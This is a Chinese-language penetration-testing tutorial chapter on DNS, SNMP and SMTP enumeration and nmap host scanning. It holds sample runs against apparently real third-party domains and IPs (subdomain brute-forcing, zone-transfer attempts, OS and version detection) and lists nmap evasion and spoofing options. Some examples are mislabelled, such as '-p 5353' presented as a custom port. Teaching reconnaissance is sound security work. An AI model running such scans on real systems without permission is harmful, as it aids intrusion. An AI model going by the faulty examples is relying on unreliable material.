4.1 枚举服务
枚举(Enumeration)是一种定义常量的数据类型,它将一组具有相同类型和含义的常量集合在一起,并为这些常量分配唯一的标识符。枚举在程序中用于表示一些离散的、有限的、具有特定含义的值,例如一周中的天数、一年中的月数、性别等。枚举类型中的常量是不可修改的,这使得程序更加稳定和可靠。在许多编程语言中,枚举可以通过名称或整数值进行访问。
4.1.1 DNS枚举工具DNSenum
版本号:
1.2.6
DNSenum简介
DNSenum是一个用于枚举目标域名系统(DNS)的工具。DNS枚举是指通过查询目标域名的DNS服务器,收集与该域名相关的信息的过程。DNSenum的目标是通过自动化地查询域名服务器,收集尽可能多的关于目标域名的信息,这些信息可以用于渗透测试、漏洞评估和网络侦察等任务。
DNSenum的功能包括:
域名解析:DNSenum可以查询域名的各种DNS记录,如A记录(主机IP地址)、CNAME记录(别名)、MX记录(邮件服务器)、NS记录(域名服务器)等。
子域名收集:它可以通过暴力破解或字典攻击的方式,尝试找到目标域名的子域名。
主机扫描:DNSenum可以对目标域名的IP地址范围进行扫描,以发现主机的开放端口和服务。
DNS区域传输:它可以尝试获取目标域名的DNS区域传输记录,这可能会暴露域名服务器上的敏感信息。
Whois查询:DNSenum可以查询目标域名的Whois信息,包括域名所有者、注册商、注册日期等。
DNSenum是一个强大的工具,但需要注意,在进行任何DNS枚举活动之前,请确保遵守法律和道德规范,并获得适当的授权,以避免违法行为或侵犯他人的隐私。
用法
dnsenum [options] target
选项 | 描述 |
---|---|
--dnsserver <server> | 使用指定的DNS服务器进行A、NS和MX查询 |
--enum | 快捷选项,相当于 --threads 5 -s 15 -w |
-h, --help | 打印帮助信息 |
--noreverse | 跳过反向查找操作 |
--nocolor | 禁用ANSIColor输出 |
--private | 在文件 domain_ips.txt 的末尾显示并保存私有IP地址 |
--subfile <file> | 将所有有效的子域名写入指定的文件中 |
-t, --timeout<value> | TCP和UDP的超时时间,单位为秒(默认为10秒) |
--threads <value> | 执行不同查询的线程数 |
-v, --verbose | 冗长模式:显示所有进展和错误消息 |
-p, --pages <value> | 谷歌搜索页面的数量(用于抓取名称),默认为5页,必须指定 -s参数 |
-s, --scrap <value> | 从谷歌最多抓取的子域名数量(默认为15个) |
-f, --file <file> | 从指定文件中读取子域名进行暴力破解(优先级高于默认的dns.txt ) |
`-u, --update<a | g |
-d, --delay <value> | 在whois查询之间等待的最大秒数,值为随机定义,默认为3秒 |
-w, --whois | 在C类网络范围上执行whois查询 |
-e, --exclude<regexp> | 从反向查找结果中排除与正则表达式匹配的PTR记录,适用于无效的主机名 |
-o, --output <file> | 以XML格式输出结果,可导入到MagicTree中 |
用例
- 查询目标域名的基本信息:
dnsenum ynkg.com
dnsenum VERSION:1.2.6
----- ynkg.com -----
Host’s addresses:
ynkg.com. 5 IN A 221.213.63.52
Name Servers:
ce2.xincache.com. 5 IN A 120.241.130.98
ce2.xincache.com. 5 IN A 117.89.178.184
ce2.xincache.com. 5 IN A 1.12.0.1
ce2.xincache.com. 5 IN A 223.166.151.21
ce2.xincache.com. 5 IN A 129.211.176.224
ce1.xincache.com. 5 IN A 112.80.181.45
ce1.xincache.com. 5 IN A 129.211.176.187
ce1.xincache.com. 5 IN A 183.47.126.178
ce1.xincache.com. 5 IN A 183.192.164.117
ce1.xincache.com. 5 IN A 1.12.0.4
ce1.xincache.com. 5 IN A 61.151.180.52Mail (MX) Servers:
mail.ynkg.com. 5 IN A 221.213.63.8
尝试执行DNS区域传输以获取ynkg.com域名的详细信息和BIND版本信息
Trying Zone Transfers and getting Bind Versions:
Trying Zone Transfer for ynkg.com on ce2.xincache.com …
AXFR record query failed: corrupt packetTrying Zone Transfer for ynkg.com on ce1.xincache.com …
AXFR record query failed: corrupt packet使用字典文件进行强力破解(暴力破解)操作,尝试找到ynkg.com域名的子域名
Brute forcing with /usr/share/dnsenum/dns.txt:
dev.ynkg.com. 5 IN A 221.213.63.3 mail.ynkg.com. 5 IN A 221.213.63.8
pan.ynkg.com. 5 IN A 221.213.63.42
smtp.ynkg.com. 5 IN A 61.138.197.203
www.ynkg.com. 5 IN A 221.213.63.52ynkg.com class C netranges:
61.138.197.0/24 221.213.63.0/24
Performing reverse lookup on 512 ip addresses:
0 results out of 512 IP addresses.
ynkg.com ip blocks:
done.
- 使用自定义端口查询目标域名:
dnsenum -p 5353 example.com
dnsenum -p 5353 yangeryu.com.cn
dnsenum VERSION:1.2.6
----- yangeryu.com.cn -----
Host’s addresses:
yangeryu.com.cn. 5 IN A 118.193.46.232
Name Servers:
cormorant.dnspod.net. 5 IN A 117.89.178.184
cormorant.dnspod.net. 5 IN A 112.80.181.111
cormorant.dnspod.net. 5 IN A 1.12.0.1
cormorant.dnspod.net. 5 IN A 36.155.149.176
cormorant.dnspod.net. 5 IN A 129.211.176.224
cow.dnspod.net. 5 IN A 129.211.176.187
cow.dnspod.net. 5 IN A 1.12.0.4
cow.dnspod.net. 5 IN A 112.80.181.45
cow.dnspod.net. 5 IN A 61.151.180.44
cow.dnspod.net. 5 IN A 120.241.130.98Mail (MX) Servers:
Trying Zone Transfers and getting Bind Versions:
Trying Zone Transfer for yangeryu.com.cn on cormorant.dnspod.net …
AXFR record query failed: corrupt packetTrying Zone Transfer for yangeryu.com.cn on cow.dnspod.net …
AXFR record query failed: corrupt packetBrute forcing with /usr/share/dnsenum/dns.txt:
www.yangeryu.com.cn. 5 IN A 118.193.46.232
yangeryu.com.cn class C netranges:
118.193.46.0/24
Performing reverse lookup on 256 ip addresses:
0 results out of 256 IP addresses.
yangeryu.com.cn ip blocks:
done.
- 使用字典文件进行子域名收集
dnsenum -f subdomains.txt example.com
dnsenum -f subdomains.txt ynkg.com
dnsenum -f subdomains.txt ynkg.com
dnsenum VERSION:1.2.6----- ynkg.com ----- Host’s addresses:
ynkg.com. 5 IN A 221.213.63.52
Name Servers:
ce1.xincache.com. 5 IN A 183.47.126.178 ce1.xincache.com. 5 IN A 183.192.164.117
ce1.xincache.com. 5 IN A 1.12.0.4
ce1.xincache.com. 5 IN A 61.151.180.52
ce1.xincache.com. 5 IN A 112.80.181.45
ce1.xincache.com. 5 IN A 129.211.176.187
ce2.xincache.com. 5 IN A 117.89.178.184
ce2.xincache.com. 5 IN A 1.12.0.1
ce2.xincache.com. 5 IN A 223.166.151.21
ce2.xincache.com. 5 IN A 129.211.176.224
ce2.xincache.com. 5 IN A 120.241.130.98Mail (MX) Servers:
mail.ynkg.com. 5 IN A 221.213.63.8
Trying Zone Transfers and getting Bind Versions:
Trying Zone Transfer for ynkg.com on ce1.xincache.com …
AXFR record query failed: corrupt packetTrying Zone Transfer for ynkg.com on ce2.xincache.com …
AXFR record query failed: corrupt packetBrute forcing with subdomains.txt:
Error: make sure that the file subdomains.txt exists and has a size greater than zero.
在执行 dnsenum -f subdomains.txt example.com
命令时,DNSenum将使用 subdomains.txt
文件中的子域名选项对 example.com
域名进行枚举,以发现可能存在的子域名。
www mail ftp admin test blog shop api dev support forum
- 查询目标域名的特定记录类型:
dnsenum -r records.txt example.com
dnsenum -r records.txt yangeryu.com.cn
dnsenum VERSION:1.2.6
----- records.txt -----
Host’s addresses:
Name Servers:
records.txt NS record query failed: NXDOMAIN
记录类型 | 描述 | 示例 |
---|---|---|
A | 将域名映射到IPv4地址 | example.com IN A 192.0.2.1 |
AAAA | 将域名映射到IPv6地址 | example.com IN AAAA 2001:db8::1 |
CNAME | 为域名创建别名 | www.example.com IN CNAME example.com |
MX | 指定接收域名邮件的邮件服务器 | example.com IN MX 10 mail.example.com |
NS | 指定域名的授权域名服务器 | example.com IN NS ns1.example.com |
TXT | 存储与域名关联的任意文本信息 | example.com IN TXT "Some text information" |
SRV | 指定提供特定服务的服务器 | _http._tcp.example.com IN SRV 10 0 80 www.example.com |
SOA | 指定管理域名的权威服务器 | example.com IN SOA ns1.example.com admin.example.com |
4.1.2 DNS枚举工具fierce
Fierce是一种用于执行DNS枚举的工具,它可以在指定的域名上查找子域名,并找到与这些子域名相关的IP地址。与其他DNS枚举工具不同的是,Fierce可以使用字典爆破技术来查找域名。它还可以查找MX记录、NS记录、CNAME记录和SOA记录等信息。Fierce可以在Linux和macOS系统上运行,并提供命令行接口。它是一款快速、可靠的工具,可以帮助渗透测试人员识别网络攻击面,并找出潜在的漏洞。由于其快速的扫描速度和准确的结果,因此在网络安全评估和攻击测试中得到了广泛应用。
选项 | 描述 |
---|---|
-h, --help | 显示帮助信息并退出 |
--domain DOMAIN | 要测试的域名 |
--connect | 尝试与非 RFC 1918 主机建立 HTTP 连接 |
--wide | 扫描所有发现记录的整个 C 类网段 |
--traverse TRAVERSE | 扫描靠近发现记录的 IP,但不进入相邻的 C 类网段 |
--search SEARCH [SEARCH ...] | 在扩展查找时筛选这些域名 |
--range RANGE | 扫描内部 IP 范围,使用 CIDR 表示法 |
--delay DELAY | 查询之间等待的时间 |
--subdomains SUBDOMAINS [SUBDOMAINS ...] | 使用这些子域名 |
--subdomain-file SUBDOMAIN_FILE | 使用指定文件中指定的子域名(每行一个) |
--dns-servers DNS_SERVERS [DNS_SERVERS ...] | 用于反向查找的 DNS 服务器 |
--dns-file DNS_FILE | 使用指定文件中指定的 DNS 服务器进行反向查找 (每行一个) |
--tcp | 使用 TCP 而不是 UDP |
- 发现目标域名的子域名:通过指定域名来运行
fierce
,它将查找目标域名的子域名并列出它们。 例如:fierce --domain example.com
fierce --domain ynkg.com
>>
NS: ce2.xincache.com. ce1.xincache.com.
SOA: ce1.xincache.com. (183.192.164.117)
Zone: failure
Wildcard: failure
Found: app.ynkg.com. (221.213.63.36)
Found: bi.ynkg.com. (119.62.0.61)
Found: dev.ynkg.com. (221.213.63.3)
Found: m.ynkg.com. (119.62.0.22)
Found: mail.ynkg.com. (221.213.63.8)
Found: pop3.ynkg.com. (61.138.197.203)
- 扩大子域名范围:使用
--wide
选项可以扫描整个Class C的IP地址空间,以便更全面地发现与目标 域名相关的子域名。例如:fierce --domain example.com --wide
fierce --domain ynkg.com --wide
>>
NS: ce2.xincache.com. ce1.xincache.com.
SOA: ce1.xincache.com. (1.12.0.4)
Zone: failure
Wildcard: failure
Found: app.ynkg.com. (221.213.63.36)
Found: bi.ynkg.com. (119.62.0.61)
Found: dev.ynkg.com. (221.213.63.3)
Found: m.ynkg.com. (119.62.0.22)
Found: mail.ynkg.com. (221.213.63.8)
Found: pop3.ynkg.com. (61.138.197.203)
-
使用自定义子域名列表:如果你有一个自定义的子域名列表,可以将其保存在文件中,然后使用
-- subdomain-file
选项指定该文件进行扫描。例如:fierce --domain example.com -- subdomain-file subdomains.txt
fierce --domain yynkg.com -- subdomain-file subdomains.txt
-
指定自定义DNS服务器:使用
--dns-servers
选项可以指定用于反向查找的自定义DNS服务器。 例如:fierce --domain example.com --dns-servers 8.8.8.8 8.8.4.4
fierce --domain ynkg.com --dns-servers 8.8.8.8 8.8.4.4
>>
S: ce2.xincache.com. ce1.xincache.com.
SOA: ce1.xincache.com. (183.192.164.117)
Zone: failure
Wildcard: failure
Found: app.ynkg.com. (221.213.63.36)
Found: bi.ynkg.com. (119.62.0.61)
Found: dev.ynkg.com. (221.213.63.3)
Found: m.ynkg.com. (119.62.0.22)
Found: mail.ynkg.com. (221.213.63.8)
Found: pop3.ynkg.com. (61.138.197.203)
- 扫描内部IP范围:如果你想扫描内部IP范围,可以使用
--range
选项指定CIDR表示法的范围。例 如:fierce --range 192.168.0.0/24
fierce --range 121.213.63.0/24
CIDR (Classless Inter-Domain Routing) 是一种IP地址分配和路由的标准方法。它替代了传统的IP 地址分配方法,即基于类别的网络划分(Classful Networking),并引入了更加灵活和高效的地 址分配方案。
在CIDR中,IP地址由两部分组成:网络前缀和主机标识。网络前缀表示了一个IP地址所属的网络, 而主机标识标识了该网络中的具体主机。CIDR采用了"IP地址/前缀长度"的表示方式,其中前缀长 度表示了网络前缀中连续的位数。
CIDR中的前缀长度可以是介于0到32之间的整数。较小的前缀长度表示较大的网络,而较大的前缀 长度表示较小的网络。例如,前缀长度为24的CIDR表示一个包含256个IP地址的网络,而前缀长度 为16的CIDR表示一个包含65536个IP地址的网络。
CIDR的使用使得IP地址的分配更加灵活和高效。它允许网络管理员更精细地划分IP地址空间,避免 了浪费和不必要的地址空间分配。此外,CIDR还简化了路由表的管理,提高了路由器的性能和路 由器之间的路由选择。
以下是一些CIDR表示的示例:
- 192.168.0.0/24 :表示以192.168.0.0作为网络前缀,前缀长度为24,即包含256个IP地址 的网络。
- 10.0.0.0/16 :表示以10.0.0.0作为网络前缀,前缀长度为16,即包含65536个IP地址的网 络。
- 172.16.0.0/12 :表示以172.16.0.0作为网络前缀,前缀长度为12,即包含1048576个IP地 址的网络。
使用CIDR表示法可以更清晰地描述和理解IP地址分配和路由。它在互联网中广泛应用于网络规划、 路由配置和安全策略等方面
4.1.3 SNMP枚举工具Snmpwalk
Snmpwalk是一种SNMP(Simple Network Management Protocol)枚举工具,可以用于枚举SNMP代理的信息。它可以请求SNMP代理提供有关其所管理的设备、接口和性能的数据。
用法
选项 | 参数 | 描述 |
---|---|---|
h, --help | 显示帮助信息 | |
-H | 显示理解的配置文件指令 | |
-v | 1 |2c| 3 | 指定要使用的SNMP版本 |
-V, --version | 显示软件包版本号 | |
-c | COMMUNITY | 设置社区字符串(仅适用于SNMP版本1或2c) |
-a | PROTOCOL | 设置认证协议(MD5 |
-A | PASSPHRASE | 设置认证协议的密码短语(仅适用于SNMP版本3) |
-e | ENGINE-ID | 设置安全引擎ID(例如800000020109840301)(仅适用于SNMP版本3) |
-E | ENGINE-ID | 设置上下文引擎ID(例如800000020109840301)(仅适用于SNMP版本3) |
-l | LEVEL | 设置安全级别(noAuthNoPriv|authNoPriv|authPriv)(仅适用于SNMP版本 3 ) |
-n | CONTEXT | 设置上下文名称(例如bridge1)(仅适用于SNMP版本 3 ) |
-u | USER-NAME | 设置安全名称(例如bert)(仅适用于SNMP版本 3 ) |
-x | PROTOCOL | 设置加密协议(DES|AES|AES-192|AES-256)(仅适用于SNMP版本 3 ) |
-X | PASSPHRASE | 设置加密协议的密码短语(仅适用于SNMP版本 3 ) |
-Z | BOOTS,TIME | 设置目标引擎启动次数/时间(仅适用于SNMP版本 3 ) |
-r | RETRIES | 设置重试次数 |
-t | TIMEOUT | 设置请求超时时间(以秒为单位) |
-d | 以十六进制格式显示输入/输出数据包 | |
-D[TOKEN[,…]] | 打开指定TOKEN的调试输出(使用"ALL"可以获得非常详细的调试输出) | |
-m | MIB[:…] | 加载给定的MIB文件(使用"ALL"加载所有MIB文件) |
-M | DIR[:…] | 在给定的目录中查找MIB文件(默认为$HOME/.snmp/mibs:/usr/share/snmp/mibs:/usr/share/snmp/mibs/iana:/usr/share/snmp/mibs/ietf) |
-P | MIBOPTS | 切换控制MIB解析的各种默认值 u:允许在MIB符号中使用下划线 c:不允许使用"–"来终止注释 d:保存MIB对象的描述 e:禁用MIB符号冲突时的错误 w:在MIB符号冲突时启用警告 W:在MIB符号冲突时启用详细警告 R:用最新模块替换MIB符号 |
-O | OUTOPTS | 切换控制输出显示的各种默认值: 0:对于单个十六进制字符,打印前导0 a:以ASCII格式打印所有字符串 b:不将OID索引分解 e:以数字方式打印枚举值 E:在字符串索引中转义引号 f:在输出中打印完整OID n:以数字方式打印OID p PRECISION:使用指定的PRECISION(printf格式字符串)显示浮点数值 q:快速打印以便更容易解析 Q:快速打印使用等号 s:仅打印OID的最后一个符号元素 S:打印MIB模块ID和最后一个元素 t:以未解析的数字整数形式打印时间戳 T:打印人类可读的文本和十六进制字符串 u:使用UCD样式前缀抑制打印OID U:不打印单位 v:仅打印值(不包括OID = 值) x:以十六进制格式打印所有字符串 X:扩展索引格式 |
-I | INOPTS | 切换控制输入解析的各种默认值: b:使用最佳/正则表达式匹配来查找MIB节点 h:不应用DISPLAY-HINTs r:不检查值的范围/类型合法性 R:随机访问OID标签 u:顶级OID必须以’.'前缀(UCD样式) s SUFFIX:在解析之前将所有文本OID附加SUFFIX S PREFIX:在解析之前将所有文本OID添加PREFIX |
-L | LOGOPTS | 切换控制日志记录的各种默认值: e:记录到标准错误输出 o:记录到标准输出 n:不记录日志 f file:记录到指定的文件 s facility:记录到syslog(通过指定的facility) (变体) [EON] pri:对于级别’pri’及以上,记录到标准错误输出、输出或/dev/null [EON] p1-p2:对于级别’p1’到’p2’,记录到标准错误输出、输出或/dev/null [FS] pri token:对于级别’pri’及以上,记录到文件/syslog [FS] p1-p2 token:对于级别’p1’到’p2’,记录到文件/syslog |
-C | APPOPTS | 设置各种特定应用行为: p:打印找到的变量数量 i:在搜索范围内包括给定的OID I:即使没有返回结果,也不包括给定的OID c:不检查返回的OID是否递增 t:显示完成walk的墙上时间 T:显示完成每个请求的墙上时间 E {OID}:在指定的OID处结束walk |
4.1.4 snmptrap
简介
snmptrap
命令是一个用于发送SNMP陷阱(Trap)的工具。SNMP陷阱是一种事件通知机制,用于将网 络设备的状态变化通知到SNMP管理系统。
基本用法
snmptrap [options] agent trap-oid [variable-bindings]
其中, agent
是接收SNMP陷阱的主机或设备的IP地址或主机名。 trap-oid
是陷阱的OID(对象标识 符),用于标识特定的陷阱类型。 variable-bindings
是可选的,用于指定陷阱中包含的变量绑定。
选项
- -v :指定SNMP版本(1、2c或3)。
- -c :指定SNMP社区字符串(仅适用于SNMPv1和SNMPv2c)。
- -u :指定安全名称(仅适用于SNMPv3)。
- -a :指定认证协议(MD5或SHA,仅适用于SNMPv3)。
- -A :指定认证密码(仅适用于SNMPv3)。
- -x :指定加密协议(DES或AES,仅适用于SNMPv3)。
- -X :指定加密密码(仅适用于SNMPv3)。
- -l :指定安全级别(noAuthNoPriv、authNoPriv或authPriv,仅适用于 SNMPv3)。
这只是 snmptrap
命令的一些常见选项和参数,使用 man snmptrap
命令在终端上查看完整的命令文档。
4.1.5 SNMP枚举工具snmpcheck
简介
snmpcheck 是一款用于检查和测试 Simple Network Management Protocol (SNMP) 服务的工具,它可 以扫描目标主机上的 SNMP 设备,并提供有关这些设备的信息和配置。
基本用法
snmpcheck [options] <target>
options(选项):
-c :指定 SNMP 社区字符串。
-p :指定 SNMP 服务监听的端口号。
-v :指定使用的 SNMP 版本(1、2c、3)。
-C :从指定的文件中读取社区字符串列表。
-L :指定使用的 SNMPv3 安全级别(noAuthNoPriv、authNoPriv、authPriv)。
-a :指定 SNMPv3 认证协议(MD5、SHA)。
-A :指定 SNMPv3 认证密码。
-x :指定 SNMPv3 加密协议(DES、AES)。
-X :指定 SNMPv3 加密密码。
-t :指定超时时间(以秒为单位)。
-r :指定重试次数。
用例
- 检查目标主机上的 SNMP 服务(使用默认社区字符串 public):
snmpcheck 192.168.18.142
- 指定不同的社区字符串进行检查:
snmpcheck -c private 192.168.0.1
- 使用不同的 SNMP 版本进行检查:
snmpcheck -v 3 -u admin -a SHA -A password123 -l authPriv -x AES -X secret456 169.254.218.205
- 指定自定义端口和超时时间进行检查:
snmpcheck -p 161 -t 5 192.168.0.1
snmpcheck -p 161 -t 5 169.254.218.205
- 使用snmpcheck工具通过SNMP协议获取69.254.218.205主机信息。
snmp-check 169.254.218.205 -c public -v 2c
附加资源
GitHub 仓库:https://github.com/sensepost/snmpcheck
4.1.6 SMTP枚举工具smtp-user-enum
- 在SMTP服务上启动用户的SMTP枚举.
-
安装smtp-user-enum (需在root模式下)
命令如下:
sudo apt install smtp-user-enum
-
测试:
smtp-user-enum -M VRFY -u root -t 169.254.218.205
>>
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )
----------------------------------------------------------
| Scan Information |
----------------------------------------------------------
Mode ..................... VRFY
Worker Processes ......... 5
Target count ............. 1
Username count ........... 1
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............
######## Scan started at Tue Jun 13 05:23:15 2023 #########
######## Scan completed at Tue Jun 13 05:23:17 2023 #########
0 results.
1 queries in 2 seconds (0.5 queries / sec)
4.2 测试网络范围
4.2.1 域名查询工具DMitry
简介
dmitry 是一款用于执行主机情报收集(reconnaissance)的工具,它能够获取目标主机的基本信息和网 络服务,并提供有关主机的分析结果。
基本用法
dmitry [-winsepfb] <target>
选项:
- -w :执行 WHOIS 查询以获取域名的注册信息。
- -i :执行 IP 位置查询以获取 IP 地址的地理位置信息。
- -n :执行 DNS 查询以获取域名的解析记录。
- -s :执行 SNMP 查询以获取 SNMP 信息。
- -e :执行顶级域扫描以获取与目标相关的域名。
- -p :执行端口扫描以确定目标主机上开放的端口。
- -f :执行快速扫描模式,只执行 WHOIS、DNS 和端口扫描。
- -b :执行逆向 DNS 查询以获取域名的反向解析记录。
示例
- 执行 WHOIS 查询和端口扫描:
dmitry -wp example.com
dmitry -wp ynkg.com
执行完整的主机情报收集:
dmitry -winspefb example.com
dmitry -winspefb ynkg.com
- 执行 IP 位置查询和 DNS 查询:
dmitry -in example.com
dmitry -in ynkg.com
4.3 识别活跃的主机
4.3.1 网络映射器工具Nmap
简介:
Nmap(Network Mapper)是一个广泛使用的开源网络扫描工具。它用于探测和扫描计算机网络 上的主机和服务,以获取有关网络拓扑、开放端口、操作系统类型等信息。Nmap提供了灵活的扫 描技术,包括TCP、UDP、ICMP等多种扫描方式,可以快速地扫描大型网络。
Nmap具有许多功能,包括:
端口扫描:Nmap可以识别目标主机上开放的端口,从而帮助确定哪些服务正在运行。
操作系统识别:Nmap可以通过分析网络通信特征来尝试识别目标主机的操作系统类型。
服务和版本探测:Nmap可以探测目标主机上正在运行的具体服务及其版本信息。
漏洞扫描:Nmap可以与漏洞扫描工具结合使用,帮助发现网络上存在的安全漏洞。
脚本扫描:Nmap支持使用Nmap脚本引擎(NSE)执行自定义脚本,以便执行更复杂的网络 扫描和自动化任务。
用法:
功能 | 命令行选项 | 说明 |
---|---|---|
目标规范 | ||
主机发现 | -sL | 列出要扫描的目标 |
-sn | 禁用端口扫描,只进行Ping扫描 | |
-Pn | 将所有主机视为在线 - 跳过主机发现 | |
-PS/PA/PU/PY[portlist] | TCP SYN/ACK,UDP或SCTP发现给定端口 | |
-PE/PP/PM | CMP回显,时间戳和网络掩码请求发现探测 | |
-PO[protocol list] | IP协议Ping | |
-n/-R | 永远不进行DNS解析/始终解析[默认:有时] | |
-dns-servers | 指定自定义DNS服务器 | |
–system-dns | 使用操作系统的DNS解析器 | |
–traceroute | 跟踪到每个主机的跳跃路径 | |
扫描技术 | -sS/sT/sA/sW/sM | TCP SYN/Connect()/ACK/Window/Maimon扫描 |
-sU | UDP扫描 | |
-sN/sF/sX | TCP Null,FIN和Xmas扫描 | |
–scanflags | 自定义TCP扫描标志 | |
-sI<zombie host[:probeport]> | 空闲扫描 | |
-sY/sZ | SCTP INIT/COOKIE-ECHO扫描 | |
-sO | IP协议扫描 | |
-b | FTP弹跳扫描 | |
端口规范和扫描顺序 | -p | 仅扫描指定的端口 |
–exclude-ports | 从扫描中排除指定的端口 | |
-F | 快速模式 - 扫描比默认扫描更少的端口 | |
-r | 连续扫描端口 - 不随机排序 | |
–top-ports | 扫描最常见的个端口 | |
–port-ratio | 扫描比更常见的端口 | |
-sV | 探测开放端口以确定服务/版本信息 | |
–version-intensity | 设置从0(轻量级)到9(尝试所有探测)的探测强 度 | |
–version-light | 限制在最有可能的探测(强度2) | |
–version-all | 尝试每个探测(强度9) | |
–version-trace | 显示详细的版本扫描活动(用于调试) | |
脚本扫描 | -sC | 等效于–script=default |
–script= | 是以逗号分隔的目录、脚本文件或脚本类别 | |
–script-args= <n1=v1,[n2=v2,…]> | 为脚本提供参数 | |
–script-args-file=filename | 在文件中提供NSE脚本参数 | |
–script-trace | 显示发送和接收的所有数据 | |
–script-updatedb | 更新脚本数据库。 | |
–script-help= | 显示有关脚本的帮助信息。 是以逗号分隔的脚本文 件或脚本类别列表。 | |
操作系统检测 | -O | 启用操作系统检测 |
–osscan-limit | 限制操作系统检测到有希望的目标 | |
–osscan-guess | 更积极地猜测操作系统 | |
时序和性能 | -T<0-5> | 设置时序模板(值越高,扫描速度越快) |
–min-hostgroup/max-hostgroup | 并行主机扫描组大小 | |
–min-parallelism/max-parallelism | 探针并行化 | |
–min-rtt-timeout/max-rtttimeout/initial-rtt-timeou | 指定探测往返时间。 | |
–max-retries | 限制端口扫描探针的重传次数。 | |
–host-timeout | 在经过这么长时间后放弃目标 | |
–scan-delay/–max-scan-delay | 调整探测之间的延迟 | |
–min-rate | 每秒发送不少于个数据包 | |
–max-rate | 每秒发送不超过个数据包 | |
防火墙/IDS 回避和欺骗 | -f; --mtu | 分片数据包(可选使用给定的MTU) |
-D <decoy1,decoy2[,ME],…> | 使用伪装扫描 | |
-S <IP_Address> | 伪装源地址 | |
-e | 使用指定的接口 | |
-g/–source-port | 使用给定的端口号 | |
–proxies <url1,[url2],…> | 通过HTTP/SOCKS4代理中继连接 | |
–data | 在发送的数据包中添加自定义有效负载 | |
–data-string | 在发送的数据包中添加自定义ASCII字符串 | |
–data-length | 在发送的数据包中添加随机数据 | |
–ip-options | 发送具有指定IP选项的数据包 | |
–ttl | 设置IP生存时间字段 | |
–spoof-mac <macaddress/prefix/vendor name> | 伪装您的MAC地址 | |
–badsum | 发送具有伪造的TCP/UDP/SCTP校验和的数据包 | |
输出 | -oN/-oX/-oS/-oG | 将扫描结果以正常、XML、s |
-oA | 同时以三种主要格式输出 | |
-v | 增加详细程度 (使用-vv或更高级别可获得更大效 果) | |
-d | 增加调试级别 (使用-dd或更高级别可获得更大效果 | |
–reason | 显示端口处于特定状态的原因 | |
–open | 仅显示开放的 (或可能开放的)端口 | |
–packet-trace | 显示发送和接收的所有数据包 | |
–iflist | 打印主机接口和路由 (用于调试) | |
–append-output | 追加而不是覆盖指定的输出文件 | |
–resume | 恢复中断的扫描 | |
–noninteractive | 禁用通过键盘的运行时交互 | |
–stylesheet <path/URL> | XSL样式表 ,用于将XML输出转换为HTML | |
–webxml | 引用Nmap.Org上的样式表 ,以获取更便携的XML | |
–no-stylesheet | 不要引用任何样式表 | |
–append-output | 追加而不是覆盖指定的输出文件 | |
–resume | 恢复中断的扫描 | |
–noninteractive | 禁用通过键盘的运行时交互 | |
–stylesheet <path/URL> | XSL样式表 ,用于将XML输出转换为HTML | |
–webxml | 引用Nmap.Org上的样式表 ,以获取更便携的XML | |
–no-stylesheet | 不要引用任何样式表 |
用例:
- 运行基本的端口扫描命令:
- target_ip:目标ip
nmap -p 1-100 target_ip
nmap -p 1-100 169.254.218.205
>>
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-08 09:20 EDT
Nmap scan report for 169.254.218.205
Host is up (0.0011s latency).
Not shown: 99 filtered tcp ports (no-response)
PORT STATE SERVICE
25/tcp open smtp
Nmap done: 1 IP address (1 host up) scanned in 1.88 seconds
nmap -p 1-100 118.193.46.232
>>Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-08 09:20 EDT
Nmap scan report for 118.193.46.232
Host is up (0.0096s latency).
Not shown: 97 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 11.92 seconds
这将扫描目标 IP 地址的端口范围 1-100,并报告开放的端口。
- 进行操作系统识别:
nmap -O target_ip
nmap -O 169.254.218.205
>>
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-08 09:25 EDT
Nmap scan report for 169.254.218.205
Host is up (0.0013s latency).
Not shown: 991 filtered tcp ports (no-response)
PORT STATE SERVICE
25/tcp open smtp
110/tcp open pop3
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
902/tcp open iss-realsecure
3306/tcp open mysql
7000/tcp open afs3-fileserver
8000/tcp open http-alt
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows XP|7|2012
OS CPE: cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2012
OS details: Microsoft Windows XP SP3, Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.66 seconds
nmap -O 118.193.46.232
>>Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-08 09:26 EDT
Nmap scan report for 118.193.46.232
Host is up (0.018s latency).
Not shown: 993 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
110/tcp open pop3
888/tcp open accessbuilder
3306/tcp open mysql
8888/tcp open sun-answerbook
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: WAP|phone
Running: Linux 2.4.X|2.6.X, Sony Ericsson embedded
OS CPE: cpe:/o:linux:linux_kernel:2.4.20 cpe:/o:linux:linux_kernel:2.6.22 cpe:/h:sonyericsson:u8i_vivaz
OS details: Tomato 1.28 (Linux 2.4.20), Tomato firmware (Linux 2.6.22), Sony Ericsson U8i Vivaz mobile phone
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.87 seconds
该命令将尝试对目标 IP 地址进行操作系统识别,以确定其运行的操作系统类型。
- 进行服务和版本探测:
nmap -sV target_ip
nmap -sV 118.193.46.232
>>
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-08 09:28 EDT
Nmap scan report for 118.193.46.232
Host is up (0.0077s latency).
Not shown: 992 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
25/tcp open smtp?
80/tcp open http Apache httpd
110/tcp open pop3?
443/tcp closed https
888/tcp open http Apache httpd
3306/tcp open mysql MySQL (unauthorized)
8888/tcp open ssl/http Ajenti http control panel
Service Info: Host: 0b842aa5.phpmyadmin
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
